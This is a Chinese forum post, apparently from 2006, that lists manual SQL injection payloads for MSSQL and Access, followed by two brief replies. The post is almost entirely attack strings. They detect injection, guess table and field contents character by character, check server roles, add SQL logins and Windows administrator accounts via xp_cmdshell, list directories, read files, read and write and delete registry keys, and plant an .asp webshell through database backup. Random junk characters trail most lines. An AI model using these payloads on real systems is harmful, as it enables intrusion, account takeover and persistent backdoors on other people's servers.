社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3744阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 (I;81h`1G  
  2.初步判断是否是mssql ;and user>0 iM9k!u FE  
fTX|vy<EMI  
  3.注入参数是字符'and [查询条件] and ''=' X-bM`7'H  
o ,_F;ZhE  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' 45Zh8k  
9T$%^H9  
  5.判断数据库系统 6W]C`  
d6m&nj  
  ;and (select count(*) from sysobjects)>0 mssql =D?HL?  
WHjJR   
  ;and (select count(*) from msysobjects)>0 access hWn-[w/l_  
Z3Ww@&bU  
d'Dd66  
ghkV^ [  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 o9M r7  
 -y_q  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 wr:-n  
i 8cmT+}>  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $%&OaAg  
HpeU'0u0VK  
  9.(1)猜字段的ascii值(access) |_s,]:  
(VCJn<@@  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 nnu#rtvZp}  
*U\`HUW  
  (2)猜字段的ascii值(mssql) A'u]z\&%c  
c\szy&W  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 xu]Kt+QnSk  
KG(l=? N  
  10.测试权限结构(mssql) o?= &kx  
w!d(NA<|0]  
p? VDBAx  
S;#7B?j  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ns/*WH&[x  
`4Z:qh+fJ  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7;6'=0(  
cV`NQt<W  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @b5$WKPX  
AEFd,;GF  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- oj?y_0}:^  
|Z o36@s  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- %\'G2  
x>4p6H{]0'  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- }U}ppq0Eo  
dgByl-8Q  
  ;and 1=(select IS_MEMBER('db_owner'));-- *|6vCR  
vQoZk,  
p ]s)Xys  
"N,@J-]/k  
  11.添加mssql和系统的帐户 Nd;pkssd  
x],XiSyp  
  ;exec master.dbo.sp_addlogin username;-- CqX*.j{  
  ;exec master.dbo.sp_password null,username,password;-- F,mStw:  
)C0I y.N-  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- u<Ch]m+  
`oO*ORq&  
  ;exec master.dbo.xp_cmdshell 'net user username password }-Nc}%5  
-" r4  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- NQOf\.#g  
11A$#\,  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9A`^ (  
Z;dR :|%)  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- G ,`]2'(@  
BuitM|k'  
:8v? 6Q  
"{bc2# F  
  12.(1)遍历目录 !,J] 5$M  
`lbRy($L  
  ;create table dirs(paths varchar(100), id int) OzTR#`oey  
['6Sq@c)  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' s,|v,,<+  
eG dFupfz  
  ;and (select top 1 paths from dirs)>0 ^%U`|GBZp  
vZqW,GDfXo  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) fNrpYR X  
v>j<ky   
@RdNAP_6  
VEL!-e^X&  
  (2)遍历目录 *^Z -4  
u&f|z9  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- *m'&<pg]X  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 XHJ/211  
R3#| *)q  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表  T#Z#YMk  
}n,LvA@[0  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3]&le[.  
F}B2nL&  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ?. L]QU  
aCfWbJ@qiG  
zTn.#-7y  
\ ~C/  
  13.mssql中的存储过程 i\K88B&24  
F*4G@)  
  xp_regenumvalues 注册表根键, 子键 GN+,9  
8SupoS  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 |B2>}Y/  
-(#`JT8  
  xp_regread 根键,子键,键值名 ,L\KS^>  
6>b#nFVJ  
  ;exec xp_regread h6 :|RGF  
1 a%1C`d  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值  ftV~!r  
zUWWXC%R  
  xp_regwrite 根键,子键, 值名, 值类型, 值 1_@vxi~aW_  
#)%X0%9.*<  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 T!1XL7  
7e)j|a-!<  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1b2xWzpG  
5E${  
  xp_regdeletevalue 根键,子键,值名 a{.-qp  
:p$Q3  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 _|COnm  
;_/!F}d  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值  "'Q~&B;@  
8'Q&FW3"  
GCxmqoQ  
8;3I:z&muQ  
  14.mssql的backup创建webshell ~x+&cA-0A2  
zpcO7AY~  
  use model 6ziBGU#.-  
<CS,v)4,nH  
  create table cmd(str image);  {C%f~j  
e,*@+E\4  
  insert into cmd(str) values (''); *M6j)jqV  
 qt. =  
  backup database model to disk='c:\l.asp'; tYhNr  
VF~kjH2>  
Ece=loV*l  
YizwKcuZ  
  15.mssql内置函数 pO N@  
A%EGu4  
  ;and (select @@version)>0 获得Windows的版本号 =o[H2o y  
aM\Ph&c7e'  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa OXV9D:bIa  
jZ<f-Ff0  
  ;and (select user_name())>0 爆当前系统的连接用户 -]:1zU  
?+byRoY>&g  
  ;and (select db_name())>0 得到当前连接的数据库 v;s^j  
Et;Ubj"+  
07vzVsQ}p  
#*+$o<Q]9  
  16.简洁的webshell  &/)To  
X $SXDb~G  
  use model "l(<<Ha/  
yONX?cS  
  create table cmd(str image); Lv-M.  
yDi'@Z9R?  
  insert into cmd(str) values (''); \Bl`;uXb  
pH396GFIW  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八